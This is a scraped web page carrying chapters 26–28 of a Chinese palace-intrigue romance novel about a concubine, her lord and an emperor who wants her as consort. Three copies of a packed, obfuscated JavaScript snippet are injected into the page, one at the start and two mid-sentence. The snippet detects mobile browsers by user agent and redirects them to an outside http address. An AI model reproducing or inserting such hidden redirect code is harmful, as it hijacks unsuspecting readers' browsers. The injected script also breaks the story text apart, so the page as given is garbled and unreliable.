;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459217|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我送生辰贺礼派个人来就是,何需还您亲自过府?外甥我可实在惭愧啊。” 他们在四面透风的假山凉亭里,奴婢们摆好碳盆温上酒菜,霍漓江屏退下人,啧啧道:“今早你娘把你俩姨母都拖家带口地喊去娘家,你们母子俩撕脸皮撕得够狠。” “可惜啊,姨夫今生都感受不到这是种什么体验。” “济善庵里的道姑是个假货,一试就能试出来。”霍漓江自嘲,眉眼间挥之不去落寞:“可笑我竟然能被骗十六年,灵渠是气爹爹才不肯回家的吧。” 晏霁之叹息:“当年她刚烧伤毁容就要离京,一走十三年,重返京城送妹妹出阁即入庵堂带发修行,谁会起疑要查验她的身份?这怨不得姨夫,灵渠心善,肯定明白。” “你知道我女儿的下落吗?”霍漓江坦诚道:“我哥五十岁寿宴上提起老爹取名能力差,说者无意听者无心又是二十多年前的往事,没人察觉出错漏,实则霍家对外说辞,嫡长孙女舒窈之名乃祖父取名,那是你二姨都不知的内情。” 晏霁之别开眼,望向凉亭外雪花纷纷扬扬,忽而怅然:“这是今冬的第四场雪,流光跟我满四年了,她至今未曾怀胎不是我不想要而是她不想要。” “真不在意吗?”霍漓江疑惑:“如果你的流光姨娘不只是你的流光姨娘,按你的秉性你应该不会碰她才对,你可知——”话未完被打断:“振羽来了。” 倒霉的兔崽子!嫡长子进入凉亭,霍漓江嫌晦气:“哟,那群婆娘差遣你来使唤人?” “爹!!”霍振羽头痛:“大姨母回娘家都气哭了,” “关你屁事,你个小兔崽想笑死你亲爹还是想把老子气死?”霍漓江劈头盖脸骂:“二十岁的大男人屁颠屁颠跟老娘跑外祖家,像什么样?!现在立刻带着媳妇去你岳家住两天,没住够两天敢被你娘喊回来,老子打断你的腿,滚吧。” 霍振羽要反驳,晏霁之抢先助攻:“振羽许久没见过你钟表姐了吧,她有身孕了。” “真的?”这娃刚喜上就被老爹嗤讽:“是晏明潜的种,两人偷情闹出孽种,你的大姨母就把表侄女转让给晏明潜做妾;你大姨夫过意不去,给你表哥送了点补偿。 你姨母看着这份补偿好,要你表哥交出来,你表哥没妥协,你大姨母就回娘家哭。想试试这是种什么体验,让你的小妾给你戴顶绿帽、你再掏银两赔给你的小妾奸夫就行。” 他爹在说书吗?霍振羽无语:“爹,您讲笑话也编得像点样吧。” “没人跟你讲笑话,我不怕闹得人尽皆知,你大可在英王府里找任何人对峙。”晏霁之冷冷提示,霍振羽脸色微变,霍漓江没好气赶道:“滚滚滚,少成天和那群婆娘瞎掺和,有闲情就跟你三哥去喝西北风醒醒脑;差点忘了,今天是你这表哥的生辰,兔崽子。” 霍振羽神情复杂地走出凉亭,纠结地走下假山,决定去找晏如瑰求证。 凉亭里,晏霁之给出四字答复:“我很清醒。” “行,姨夫会边追查闺女的下落边着手复仇,无论是我追查到英王府还是报复佟家时,希望你都能记住这四个字,别弄得自己两面不是人。” 晏霁之送姨夫出府,客离去,他还站在照壁前,零星雪花穿过雪狐毛镶领的氅衣落进脖颈间刺下几许冰凉,他拍掉外袍上的雪花,抬脚回流光小筑。 红日西沉,良宵正当时。 琉璃烛光迷离,暖如春照的红绡帐里堪复平静,霍灵渠喃喃:“已经过亥时中了吧。” “嗯,还早得很。”晏霁之抱着美人要继续快活被拦住,女人漾起抹似苦尤哀的笑容:“前些天我去看妹妹时遇见故友,他知道明年皇帝将册封的贵妃姓霍,叫霍灵渠。” 慵懒一点点褪散殆尽,晏霁之沉默过后问:“故人姓嬴,嬴忱璧?” 霍灵渠垂眸再点头:“是!” 26. 第26章 彼此心知的隐秘,不挑明时犹如漫长岁月厚重,真到要挑破时堪比窗户纸还薄。 晏霁之接受得比自己想象中快些:“他何时接你走?” “腊月初一,应该是腊月初一;他本想通知我之后就召你说话,我求他等你过完生辰。”霍灵渠自持道:“我猜他可能很快就会正式告诉你。” “不,是明天。”晏霁之肯定,霍灵渠讶异抬眼看他,他笑,笑得如绿水拨荷藕清艳:“容忍你陪我过完生辰恐怕已经是他退让的极限。” 一股从脚趾头升起的羞愤混合着委屈冲到头发丝,勉力维持的镇定破功,霍灵渠难以遏制地难堪脸红,她难道就愿意吗?! “陛下召见时,我想还是应该把我送给你的图册给带上,给陛下指明我们的闺帏中事,也好让你们将来同房时规避些,但就怕除非你穿衣侍寝否则你俩免不得会膈应。”晏霁之好整以暇征询道:“你意下如何?” “晏霁之?!”霍灵渠羞愤难当,种种情绪交织气得推他:“你送啊,有本事你就去送啊,能给枕边人送春宫图的男人你也是独一份,不嫌难堪你就去送!” “我嫌难堪什么?”晏霁之稳如磐石:“我又不抢别人的女人!” “难道是我主动招惹的吗?我能想到会突然冒出皇帝要逼我进宫吗?”霍灵渠眼圈泛红,忍在爆发边缘:“我本来盘算好了,把所有事情办完就远离京畿,我以为自己能重新开始,可现在还没来得及幻想高兴这个梦就已经破灭,我愿意吗?” 晏霁之泄愤般拉过她云雨,可能霍灵渠也想要发泄,霎时间天雷勾地火。 窗外大雪初停,白皑皑的雪花堆成堆浅浅覆盖在这片金闺玉堂上,构筑起世俗的单调;屋中绚烂尽数游走在光影浮沉的荒芜里,黑夜凄冷在沙漏淹没。 满眼繁华过尽难得交心,晏霁之抱着她忆往昔:“幼年时你叫不好我的名字,总省掉霁,晏之哥哥晏之哥哥的叫;我当时就想你肯定是为故意引起我的注意,小小年纪心机深沉,我可绝对不能被你迷惑。” “三四岁时候,因为晏之哥哥比霁之哥哥顺口,五岁后我就没再叫错过,都二十年了。”霍灵渠弱声感叹:“以流光的身份进英王府前,我可真没想过我和你能有纠葛。” “即使有纠葛也只能做个你生命中可有可无的过客,是吗?办完事情后远离京畿,你还那么年轻能愿意孤独终老吗?”温和的氛围打破,晏霁之冷然讽刺:“反正都要再找个男人,找谁能比找皇帝更好,是吧,贵妃娘娘?” “你无中生有强词夺理!”霍灵渠顿生烦躁:“要诬赖人你自己再铺床丝被,别喊我。” “一经挑明嚣张飙涨,你这柔顺嚣张自由切换的本事,真厉害了。”晏霁之喟叹,一抹异样自眼底划过,他若有似无地哄骗牵引:“其实皇帝要册封霍灵渠做贵妃是必然,这是出于对掌控朝堂大局的谋划;只要目的达成,这颗棋子的去留不重要。” 霍灵渠愣了愣,懵懂困惑看向他:“什么意思?” “你认为当今最想要什么?”晏霁之循循善诱,霍灵渠对此倒是清楚:“不被钳制。” “没错,太上皇禅位后仍不肯放掉权柄,陛下的兄弟们大多贼心未死,皇帝即使能忍让暗中慢慢收拾也会想要契机助他在最短时间内将这些威胁势力铲除。” 晏霁之言笑晏晏,剖析道:“当前霍家就给陛下提供了很妙的契机,霍家要抢后位,由此协商达成册封位令朝堂瞩目的贵妃娘娘,册封谁做贵妃对皇帝掌控朝局最有利?” 霍灵渠顺着他的意思推测:“难道是我吗?” “当然,而且只能是霍灵渠,其他霍氏女没用。”这还真没有唬她,晏霁之直白提醒:“想想,一旦霍灵渠做贵妃,霍家可能还会助霍蓁蓁抢后位吗?” 霍灵渠迟疑:“你是指皇帝想挑起霍家生内乱?” “不是霍家而是朝堂。”晏霁之抚抚她的脸颊,笑道:“浑水才好摸鱼,太上皇想要禅位后仍然掌控朝局,禅位给第五子最妥当;当今想收揽权柄,自然得打破朝堂的局面,没有人能比霍灵渠更适合做明年的贵妃。” “所以皇帝才会强制威逼、我不愿意也没用吗?”霍灵渠拧眉,恍然惊奇而不敢置信:“你的意思,我做贵妃可以只是权宜之计,皇帝达成目的之后我能够离开皇宫吗?” 晏霁之莞尔一笑,不知餍足地抱着她继续春宵,霍灵渠拦都拦不住,睡前的最后意识冒出个疑惑:怎么挑明之后俩人居然都不尴尬就好像根本没影响,怪了。 金乌的曙光透过重重云层缝隙漏出,残留在地表的淡淡青雾暗然散退,银装素裹的世界立时清晰跃然眼前,园中两三枝掬着薄雪的红梅张扬鲜艳,恰好摘下送进花觚点缀屋宇。 霍灵渠正在妆台前梳妆,鸦青秀发绾做倭堕髻,鬓间垂落的红宝石海棠步摇富贵灼眼,一袭杏粉色绣水绿芍药落瓣苏缎长裙配以腰间束粉白的丝带,简简单单就勾勒出完美身形。她看新摘来摆在窗台前的红梅鲜活,不由露出个浅浅笑意,真真人比花娇。 打扮好,她站起往外走,迈出明间门槛,看见站在石阶前眺望天际的男人,在这样个冷瑟清寒的早晨里,颇有股遗世独立的味道,霍灵渠却只想在心里腹诽他衣冠禽兽;按住真实想法,迎上前娇俏唤他用早膳。 晏霁之白玉冠束发,身着清淡霞光色绣暗红云纹长袍,疏淡的神情在看见爱妾时刹那变温柔亲昵,在满院奴婢们的注视偷笑中,他楼过她,边吩咐摆早膳边带宠妾往暖阁走。 世子爷今早非但告假在家,还要带流光姨娘去集丝斋听曲看戏,好多奴婢都耳闻了呢。 英王的徐侧妃三十三岁,正值女人最具风韵的年华,是府中四爷五爷和四姑娘的生母;晏四爷进屋给生母请安,她还对着菱花镜检查眼角有无令她恐慌的细纹。 “姨娘您一天要看八遍吗?”四爷晏琼勋比嫡兄小近十岁,虽然半年前已娶妻,清俊的眉眼间还带着少年的直爽和冲劲:“五弟都十岁了,您还整日想跟比你小十来岁的姨娘们争宠,有意思吗?” “四爷年轻,哪知当中轻重?”徐侧妃放掉菱花镜,教导道:“若是姨娘不得宠,你和五爷还有四姑娘能在府里过得这般舒坦吗?” 晏琼勋不以为然但还孝顺,让着生母就没反驳,喝口热茶问:“您喊我过来什么事?” “什么事?”徐侧妃听来没好声:“明年正月就册封贵妃,王爷还没给明确表态,我们再不加把劲,贵妃娘娘还能有你亲妹妹的份儿吗?” “我还在读书没入仕途,朝堂的事我在爹面前说话没分量;晏明潜他肯定从中作梗,二哥能袖手旁观就不错了,姨娘您和四妹没能说服爹,我还有什么办法?” 徐侧妃屏退屋中伺候的奴婢们,笑道:“在此前咱们没把握劝动世子,现在可未必。” “难说,霍蓁蓁可是他的亲表妹,他帮我们有什么好处,让我跟他争家业吗?我就算没多少相争的心思也不是当真一点心思都没。”晏琼勋也不扭捏:“如果同母亲妹能成为贵妃,我是不乐意再被嫡兄压着。” “你这孩子,四姑娘难道不是世子的亲妹妹?表妹再亲也是两姓旁人,何况这位将来要做皇后的表妹究竟向着表哥还是更偏向大姨母,世子会没点数吗?”徐侧妃眉眼活络,意味深长道:“如果将来晏贵妃能压倒霍皇后,娘家兄弟们还能不同心协力吗?” 晏琼勋眨眨眼领悟过来,吸口气佩服:“贵妃都还没影儿,姨娘您想得可真远。” “既然要争,没谋算怎么争?”徐侧妃抽出临窗大炕边矮柜的抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459218|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屉,从抽屉中取出木匣,打开木匣取出信笺交给亲儿,叮嘱道:“这是徐家送给世子的诚意,你二哥带流光姨娘去集丝斋听曲儿了,四爷便也去看看戏。只要世子能相助,说服王爷就十拿九稳了。” “好!” 晏琼勋揣着信走到王府大门的廊檐下,见府门石狮前有两匹骏马,当即走过去要牵马,门房见状忙阻拦道:“四爷,这不是咱们府里的马;有两位公公来传圣上口谕要召见世子,大管事已经快马赶去集丝斋找世子,那两位公公现在花厅里吃茶呢。” 这么不巧,他还以为能偷懒听听曲儿呢,晏琼勋无奈回府里,等嫡兄回府再找他谈。 集丝斋乃城中最大的茶馆,说书唱曲拉胡弹琵琶戏班伶人应有尽有,一楼大堂搭戏台,随时都有伶人在表演,二楼以包厢雅间为主。 英王府大管事在二楼找到他家世子时,世子爷可不正闭眼靠在爱妾怀里听曲儿么。 隔座屏风,没影响他形象,晏霁之特意出府岂会不知,赖洋洋地让长随给唱曲人打赏,吩咐大管事:“告诉传口谕的两个太监,回宫如实禀奏,陛下定会亲自来集丝斋,陛下要和臣商议的这件事在茶馆谈更恰当。” 大管事有点慌,还没劝说就被世子把他和笛生朱楼他们给全部遣退到雅间外了。 雅间里只剩他们两人,霍灵渠推他坐端正:“看你这两天就没个正行的。” “我在考虑如何谈判才能不落败,需得随兴所至,刻板会妨碍我的思维。”晏霁之义正言辞地改为将她拉过来搂在怀里,霍灵渠也不是刻意或矫情就感觉怪:“你不觉得我们两个,我是说已经挑明关系了,我们还如未挑明前那般相处不尴尬吗?” 晏霁之反问:“没挑明前,难道你不知道我知道你的身份吗?” “是,彼此心知,可毕竟没挑破嘛,你堂而皇之在我面前讲我坏话我不也只能陪你演,但既然已经挑明了总该有点不同。”霍灵渠蹙眉,晏霁之赞同:“当然,你在我面前嚣张飙涨,没挑破前你敢跟我硬杠吗,我能对你这么宽容吗?” “这只是表象,我是指挑明之后我们再相处起来不是应该会生疏不自在吗?”怪的是,霍灵渠自己也没觉不自在,难道是因为跟他相处多年的缘故吗? 晏霁之坏笑:“可我觉得昨晚你比尚未挑明前更销魂,没看出你有何生疏。”一句话说得美人脸颊飞霞羞恼不已,闹着要推开他,晏霁之连忙把人抱住哄。 “好了好了,挑明与否能有多少差别?我清楚流光就是霍灵渠,你也清楚我知你的身份,我还知你知道我清楚得很,这就相当于这层纱布不存在;何况相处四年多,夜夜耳鬓厮磨,现在就把等同于不存在的纱布撕掉,能有什么尴尬?” 霍灵渠欲言又止,犹豫纠结半响没想透,晏霁之劝她:“先想怎么应付你的故人吧,闯过眼前的难关,我们回府后你再纠结该怎样尴尬,不迟。” “嗯,是当前这事重要。”霍灵渠愁上眉头,自我安慰:“做棋子,应该能功成身退。” 雅间骤然安静下来,时间在沉思中慢慢流淌而过,直至屋外传来惊呼跪拜声,晏霁之不疾不徐起身,绕过屏风去开门,看见龙颜,附身作揖参拜:“臣拜见陛下。” 嬴忱璧肩披的墨青厚披风都没摘,身后跟随八名侍卫,两侧跪着英王府众人,他粗略扫过室内没找到想找的倩影,没喊免礼反问:“你已知朕召你为何事?” 被当场抓住窥测帝心或者在帝王身边安插眼线可是重罪,这问题一个答不好就得出事,晏霁之忾然叹息:“十六年悲欢如梦,故人归却事事休。” 静默稍许,皇帝喊平身,吩咐侍卫带英王府众人退避此屋三丈外,他抬脚进门,站立道:“想要什么补偿尽管提,只要朕认为合理皆可应允。” 27. 第27章 雅间有清清淡淡而袅袅悠扬的蔷薇香气飘散,在枯燥的冬日里像暴雨初晴时沁润心脾。 嬴忱璧猜到她在屋里,环视圈后视线在墨兰屏风多停留两息,莫名地叫他心情有些好。 没有严阵以待,没有剑拔弩张,氛围甚至能算祥和,晏霁之尔雅微笑:“陛下情深义重,臣感佩不已,然则食君之禄担君之忧,臣不得不为陛下忧:您拳拳之心是否值得?” “哦?”单音被拉长,嬴忱璧不在意由他多侃两句:“说来听听。” “陛下幼年受尽生母芮贤妃娘家芮家的冷落,在御极前几乎没有得到过芮家的真心,您却还能给芮家赐爵位,放任珍昭仪生养皇嗣,如此胸襟岂不叫臣下感佩?”晏霁之戳心窝道:“陛下以为忠毅伯府在您御极之后对您的真心又算什么?” “原来晏卿想与朕促膝长谈。” 他不愿意利索想磨叽,嬴忱璧依旧不在意,迈开长腿走过几步落座,淡淡道:“继续。” “第一,我要升任吏部侍郎,现任吏部左侍郎已经六十四岁高龄,一年内该致仕;明年正月陛下册封贵妃,二月我会离京散心,深秋回京,我调任吏部侍郎,这个补偿应该很合理。第二件事,凭陛下心意。” 晏霁之走上前,温和中自有锋利:“近年江南贪腐愈重,自陛下登基以来年年不足税,朝廷中枢与江南盘根错节,陛下轻易动不得。” “你想做钦差?”是谈正事的口吻,嬴忱璧考量道:“短短半年你认为会见成效?” “臣妄言猜测,陛下提前准备欲整饬江南吏治至少已有两年,不短了,然目前您信得过又能担大任之辈屈指可数,遑论将整个江南肃清?”晏霁之轻笑道:“臣做钦差,半年足以;陛下信不过臣,愿意再耗几年光景培养信得过的臣子成气候自然更可。” 嬴忱璧身为君王的威势扑面而来,肯定道:“看来霁之你早有准备,并非昨夜才知。” “昨夜彻底没了侥幸。”晏霁之从袖中取出字谜呈上,自嘲道:“俩月前她还没有病愈就闹着要见妹妹,我安排她带她妹妹逛夜市不是偶然,是我得知她病重时陛下派遣整个太医院过府诊治而想试试罢了。其实我有没有推这把都无所谓,单看陛下有没有心思。” 流光!是他亲自写的字谜,嬴忱璧叹道:“好,明年整饬江南吏治,朕会召你详谈;此外朕会再给你十万两白银,补贴你买下她和供她这四年的花销。” “陛下的补贴,臣惭愧。”晏霁之和声静气:“灵渠就在屏风后,不如问过她的意思。” 嬴忱璧抬眼看向他,看到隐忍的怨气和不甘,淡淡应声好。 霍灵渠低眉垂眼走出屏风,屈膝施礼,抿抿唇说:“禀陛下,您曾言我进宫前尽可提任何要求,只要您能做到的都会答应。草民想好了,第一,草民不侍寝;第二,太上皇放权、您不再受钳制后,草民要离宫过寻常生活。” 嬴忱璧:“……” 进宫前可提任何要求,皇帝给出这种承诺真不是故意给自己挖坑吗?晏霁之默默想,她也怪不厚道的这种条件都不婉转婉转,难怪走出屏风时要低头。 嬴忱璧深呼吸,镇定道:“霁之你且退下。” 晏霁之平静向皇帝告退去隔壁屋,他要雅间时就有先见之明地包下了两间房。 “你在说什么?你知道自己在说什么吗?”嬴忱璧大步快走到她面前按住她的肩,强迫她抬头面对他,神情压抑而激烈:“朕没告诉过你册封贵妃只是暂时,朕还要立你做皇后、要和你生儿育女白头偕老吗?” “可我不愿意。”轻飘飘的,明明那么重,霍灵渠偏偏讲得这般轻:“这是你的想法,我从未认同情愿过为何要配合?倘若你非要用皇权强加在我身上,我的确只能遵从,但不会有真心,你抢到的只会是虚情假意,到头来各自苦不堪言,何必呢?” 无言的伤痛在心底裂出血泪,嬴忱璧笑了,笑得悲凉:“我要把帝王的真心把国母之位把天下最好的一切都给你,你却弃如敝履吗?霍灵渠,你怎会如此残忍?” 霍灵渠反问:“残忍?何为残忍,是陛下从未被别人拒绝过还是您容不得被人拒绝,只要您赐予,他人就得接受吗?因为你是皇帝你高高在上,所以你施舍我,我就必须感恩戴德吗?廉者不受嗟来之食,嬴忱璧,不是我残忍,是你的真心从来没有尊重过我。” “施舍?!”仿佛受到了莫大羞辱,正徽帝嬴忱璧险些没把控住情绪,高声控诉道:“你说我施舍你,我是在施舍你吗?是你非要践踏我的真心还是你的良心被狗吃了,霍灵渠你说这两个字时良心真的不会痛吗?!” “不是施舍,难道算你在尊重我吗?”霍灵渠好笑:“我和你已经十六年没见,我现在对你没有任何情愫,你却要逼我跟你生儿育女,这也叫尊重吗? 这世间男子提亲后被女方家拒绝的门户难道没有吗,他们被拒绝能坦然,为何你不能?因为你是皇帝不能被拒绝还是你没有尊重过我? 既然你的真心只是施舍,你不曾尊重过我,你只想用强权威逼我,你有脸怨我对你虚情假意吗?是你要毁掉我本来期许的后半生,到底谁残忍?因为你是高高在上的皇帝,你的施舍就是天大的恩德,我不能拒绝你的好意否则就是残忍吗?” 霍灵渠也觉得悲凉,真正感到眼前之人那么陌生:“往事如烟,过往早已荡然无存,你不是我的前未婚夫更不是我的童年玩伴,你只是皇帝,确实是草民可笑了。” 她抬手按按眼,寂然垂眸,请示问:“您言只要能做到都可答应,这两个条件,按草民愚见,陛下定能做到,但问皇帝陛下可否应允?” 嬴忱璧再次感到颓丧:“灵渠,我、我到底要怎么做,你才能接受我?” “人各有志,草民从未想过要进宫做嫔妃包括做皇后亦没有兴趣,您又为何非要勉强?”霍灵渠言语间透着浓浓的唯恐避之不及,嬴忱璧被伤道:“为何,你说为何?因为我喜欢你,我想要跟你生儿育女携手白头!” “可我对你没任何情愫!”霍灵渠接得顺畅:“我为何要心甘情愿?” 两间屋的隔音还行,他们讲话声音小时听得不真切,但高声对峙时能听得一清二楚,晏霁之在隔壁雅间听得断断续续也差不多能理通,听到她这声反质问,差点乐了,都想帮皇帝接句至理名言:因为朕是皇帝。 嬴忱璧攥紧拳头,强迫自己冷静:“对,我们中间隔着十六年,你现在对朕没有情愫,但相处以后自然会慢慢再生感情,朕确实太过心急,朕可以答应绝不会威逼你侍寝。” “草民拜谢圣恩。”霍灵渠再敛衽施礼,提醒问:“草民的第二个要求?” “你会心甘情愿留在宫里做朕的皇后与朕携手白头。”嬴忱璧深呼吸再冷静咬定下断言,避重就轻道:“哪怕是谢谢晏霁之照顾你多年,朕也该给他补贴;你在英王府可还有要带的物件吗?若有,朕派人去取来,用过午膳,朕就陪你出城去皇庄。” “给补贴,再在皇庄住两月,就能把我和晏霁之撇清吗?”霍灵渠声音柔顺而坚定:“既然明年正月才册封贵妃,您何必非要管我成为贵妃之前住在何处? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459219|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比起陌生的皇庄,草民在流光小筑已住四年,更愿意住习惯的居所,亦不想来回搬迁。还有一点请陛下莫再忘记,我现在还顶着流光姨娘的身份;我不是您的贵妃,皇帝即使掌控着世间的生杀予夺也没有管臣子闺帏中事的道理吧。” “灵渠?!”嬴忱璧高声呵斥,真被她气到了。 霍灵渠无畏:“陛下是今天就要颁旨册霍灵渠做贵妃吗?” 午膳分开,霍灵渠没甚胃口,只要碗素面。皇帝和晏霁之的午膳则是从离集丝斋最近的大酒楼定了送来:银耳鸡丝、蒜香鲍鱼、荷叶鸡、虫草酱鸭、桂花鱼、八宝兔丁、鲜蘑菜心、素炒笋片、芙蓉豆腐、佛手金卷、粉丝虾仁汤,外加坛十年陈酿的花雕酒。 “贸然对朕提忠毅伯府,霁之是有何想法吗?”饮过三杯花雕酒,正徽帝嬴忱璧借谈点事情缓解些心中的挫败:“你但说无妨。” “几天前霍雄鹰与臣闲话,曾提到他的庶妹也就是陛下的蝶贵人最近闹着穆国公和太后想要擢升品阶,似乎还有跳过从四品连升两级之意。言谈间,雄鹰顺带提过忠毅伯府和珍昭仪近来也是上蹿下跳,拿着已故芮贤妃的情分对您软硬兼施想要强抢贵妃位。” 晏霁之恳切淡笑:“臣与舒窈、灵渠都是童年玩伴的情谊,陛下要册封灵渠为贵妃,臣不得不思虑:明年灵渠进宫,珍昭仪和忠毅伯府意难平,您真能回回维护贵妃吗?” “你凭什么认为朕不能?”嬴忱璧反问:“只因为朕让珍昭仪生养皇嗣吗?” “佟家是商户出身,芮家出身清流,商人重利,却不想忠毅伯比佟尚书更唯利是图。”晏霁之执起酒壶再倒两杯花雕酒,开始讲古:“陛下刚出生时,忠毅伯还只是高邮县县令;大概是陛下七岁时,忠毅伯调入京中任正六品国子监司业。 陛下登大宝前,他任职太常寺少卿。整整十七年,陛下得到过芮家多少关怀照顾,珍昭仪进潜邸,算吗?珍昭仪对陛下有真心吗,还是只想图谋成为您的继室? 佟家想拿姻亲当踏脚石,但对外孙好歹还会做表面文章,您在登基前得到过生母娘家的表面文章吗?没有,因为芮家不相信您能继承大统。 即使如此,您仍然恩赐忠毅伯爵位,将忠毅伯从正四品的太常寺少卿擢升为正三品的吏部左侍郎,又准许珍昭仪生养皇嗣,贵妃在陛下心里还能敌得过忠毅伯府吗?” 嬴忱璧再饮杯酒,似疑惑问:“霁之方才说佟家想把姻亲当做踏脚石?” “是,臣斗胆请问陛下,明年册封贵妃以辖制霍家是您自己的主意吗?”晏霁之弯弯唇:“兴献侯夫人母女会生出争抢后位的心思就出自佟家。” “是吗?”嬴忱璧轻笑道:“那可真是巧了,册封贵妃亦是佟尚书向朕建言。” 晏霁之喝杯酒,笑叹声。 嬴忱璧晃晃酒杯,橙黄清亮的酒液映进稀浅的倒影,他肯定道:“第一调任吏部侍郎,第二任钦差整饬江南吏治,应该还有第三吧? 以你晏霁之的心气倘若当真存怨,灵渠已然有孕了,朕根本奈何不得。朕险些误会了,原来不是朕从你手中硬夺而是你有意拱手相让;那么你提忠毅伯府应该也不只是为贵妃,更和你的第三点有关吧?” “我动过心思,我们之间服用避子药是敞亮的,可她根本不想要,我更不屑使黑招。”晏霁之示弱纠正:“不是我情愿拱手相让,是这个女人至今未对我动过真心。”他感慨笑笑:“陛下想要霍灵渠的心只怕不会比您登基前为争储付出的努力轻松。” 嬴忱璧也笑,举杯道:“晏卿可拭目以待。” 28. 第28章 “少小离家老大回,乡音无改鬓毛衰①……”耳熟能详的乡愁诗谱以歌调唱出,搭着悠长苍凉的二胡声,悲怆的旋律丝丝缕缕绕梁柱,应景人听来,百般滋味在心头。 雪后初晴的阳光像满怀好奇又娇羞不已的小姑娘,羞羞答答徘徊整上午才敢在午后拨尽云团释放明亮光线,半开的窗牗拢入小斛灿烂,雅间顿时开阔不少。 皇帝走后,晏霁之仍留在集丝斋听曲,霍灵渠要听乡愁的小曲儿,连听过四首曲目,她让唱曲的伶人和在雅间伺候的奴婢们都出去,疲惫地以手托额,阳光掠过她周身,携走片片化不掉的忧伤在空中萦绕。 “世事岂能尽如人意?”晏霁之倒杯果酒递给她:“既来之,则安之。” 霍灵渠接过,饮尽这杯酸甜适中的葡萄酒,甜留齿间涩入愁肠,她手捧空酒杯,低问:“明年,我将除掉你的亲姨母,你当真无动无衷吗?” “小姨顺郡王妃的头胎和第二胎生的都是女儿,第三胎生出儿子;刚生到儿子,她就迫不及待想抢爵位,想必这也是佟家当年嫁幼女时的初心。 可惜小姨有儿子比他们的预期晚太久,顺郡王已年近五旬,更在授康二十七年就已请封嫡长子为世子。我那位才四岁的小表弟摆明了根本没戏,然而顺郡王妃就是不肯消停,她的娘家和俩姐姐也支持帮衬。” 晏霁之也倒杯葡萄酒喝,反问:“你认为我应该按亲娘之意帮衬亲姨母吗?” 霍灵渠涩然诉道:“祖父祖母那么大岁数,我真怕他们承受不住好好的家要被毁了。” “你想多了,和娘家反目,你祖母不照样好好的?而你祖父,他什么大风大浪没经历过;况且没有你,他也能把那俩孙辈给舍掉。” 话落,女人猛然投来意味难辨的目光,晏霁之淡定拉过她揽入怀中,详解道:“你自己不是给过答案吗?公然强抢后位,皇帝岂能容忍被欺辱至此? 这场博弈,霍家进可攻退可守;赢了,将皇帝变成傀儡,输了,绝对能自保。 但霍家输掉后能保无恙可不代表霍蓁蓁母女能活,霍振羽能否保住命都是两说,连整个佟家都得填进去。你祖父很清楚输掉的后果,可他不照样认同强抢后位的计谋吗?换言之,在他同意时他就把那两个亲孙给舍掉了。” “佟家?”霍灵渠疑惑,晏霁之失笑:“只取走霍蓁蓁母女的命能消解皇帝的怒火吗?不动霍家,当然要把整个佟家给填进去。”说到此他气势陡变,冷然讽刺:“佟尚书,居然会认为霍蓁蓁母女闹着要抢后位羞辱皇帝不会牵连佟家? 霍家乃当今第一豪族,动霍家要引发多少动荡?可佟家算什么,皇帝何必就为霍家要争个后位就动霍家?其结果当然是拿佟家填,倒也不枉佟尚书出此计谋。你做贵妃,最少都能挽救这批人性命,但恐怕只会换来彻骨恨意,这就是世事。” “你在想你母亲?”霍灵渠敏感问,晏霁之愣了愣,不由自嘲:“这般像有感而发吗?” “娘在桑柔六岁时病逝,我们姐妹想承欢生母膝下奉养亲娘都没机会;你父母俱在,不知令失恃之人多羡慕,我却已不知该不该再劝你和你母亲和好?” “明年,我本想带你出海。”晏霁之感慨,抬手抚抚她的脸颊,自己也说不清是否遗憾:“南海上有许多荒芜人烟的小岛,还有大岛屿形成的岛国如浡泥、爪哇国。 原本我想好了,带你去寻天涯海角;明年你生辰,你可亲自在南海边挑海螺、开海蚌淘颗最大的珍珠、尝没吃过的果子或者扬帆远航,见识新奇的海岛风光。” 霍灵渠惊讶过后猜他可能想远走散心乃至逃避,犹豫稍许还是决定再规劝:“我知道,江山易改本性难移,可你和你母亲难道今后到死都这般僵持吗? 试想,倘若每个出嫁女都心向娘家至想拿夫家填娘家,这世间的家家户户还能成家吗?天下岂非要乱套?你从源头入手,和你母亲好好讲,总该能挽回补救。” “前提得她是个讲理的人。”晏霁之再倒杯葡萄酒喝,问她:“英王妃讲道理吗?” 霍灵渠张张唇,应不出声,拧眉犹豫:“你就没有办法吗?” “等我娶妻,她定然也会想从儿媳妇手里拿好处,但这儿媳若敢如她般补贴娘家,恐怕她不仅会大怒严加管制还会变本加厉搜刮。” 晏霁之冷笑声,鹰隼般的目光犹如虎豹在捕捉猎物时的冷峻决然:“我曾祖在世时权倾朝野,举国唯一的异姓王府几十年屹立未倒,他们当我晏家什么人家?!你祖父霍擎连亲孙都能轻易舍掉,遑论晏家只是处理个吃里扒外的媳妇。 